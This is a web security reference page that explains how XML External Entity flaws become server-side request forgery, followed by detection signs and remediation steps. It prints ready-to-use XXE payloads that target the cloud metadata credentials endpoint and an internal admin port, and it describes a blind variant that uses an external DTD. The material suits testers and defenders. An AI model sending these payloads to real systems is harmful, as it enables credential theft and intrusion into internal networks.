Skip to content
high

XXE to SSRF

XXE to SSRF turns an XML External Entity flaw into server-side request forgery: instead of a file:// URL, the external entity uses http:// so the vulnerable parser fetches an attacker-chosen internal address, reaching cloud metadata services, internal admin panels and other hosts the server can see but you cannot.

Target formats
Plain XMLSOAPSAML
Affected parsers
Java DOM/SAXPHP libxml (legacy)Python lxml.NET (legacy)
Impact
SSRFCloud metadata/credential theftInternal network access

How it works

The external entity mechanism is not limited to the file:// scheme. A SYSTEM identifier with an http:// URL makes the parser perform an HTTP GET to that address during parsing. Because the request originates from the application server, it bypasses network boundaries and firewalls that block the client directly.

The highest-impact target is a cloud instance metadata endpoint (for example the 169.254.169.254 link-local address), which can expose IAM credentials, instance identity documents and user-data.

Which parser configuration makes it work

Requires a parser that resolves external entities over the network (external general entities enabled and no NONET option). Many parsers that read files will also fetch URLs unless network access is explicitly disabled.

Representative payloads

Replace callback hosts and target paths with your own authorized test values.

Reach the cloud metadata endpoint
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<foo>&xxe;</foo>

On IMDSv1 this can return role credentials directly in the response.

Probe an internal service / port
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://localhost:8080/admin">
]>
<foo>&xxe;</foo>

Variants

Blind SSRF via parameter entity

When the response is not reflected, define the URL in a parameter entity loaded from an external DTD and watch your own server logs for the inbound hit to confirm the SSRF reach.

Detection

As a tester, point the entity at a collaborator/canary URL you control and confirm the inbound request, then pivot to internal addresses. As a defender, monitor for XML parsing that triggers outbound HTTP, especially to link-local metadata ranges, and inspect bodies for SYSTEM identifiers using http(s):// schemes.

  • Outbound HTTP from an app that normally only parses XML
  • Requests to 169.254.169.254 or other link-local/internal IPs
  • SYSTEM entities with http:// or ftp:// schemes in request bodies

Remediation

Disable DTD/DOCTYPE processing so no external entity (file or URL) is ever resolved. Where a DTD is unavoidable, disable external entities and set a NONET-style option so the parser cannot open sockets. Defence in depth: enforce IMDSv2 (session tokens) on cloud instances, and egress-filter the application so it cannot reach the metadata address or arbitrary internal hosts even if an SSRF primitive exists.

Fix checklist

  • Reject DOCTYPE declarations in the parser (primary fix)
  • Disable network access in the parser (NONET / no external resolver)
  • Require IMDSv2 and block 169.254.169.254 at the host firewall
  • Egress-filter the application to its known dependencies only

Parser-specific configuration: Java, Python, PHP, Node.js.

Related techniques

References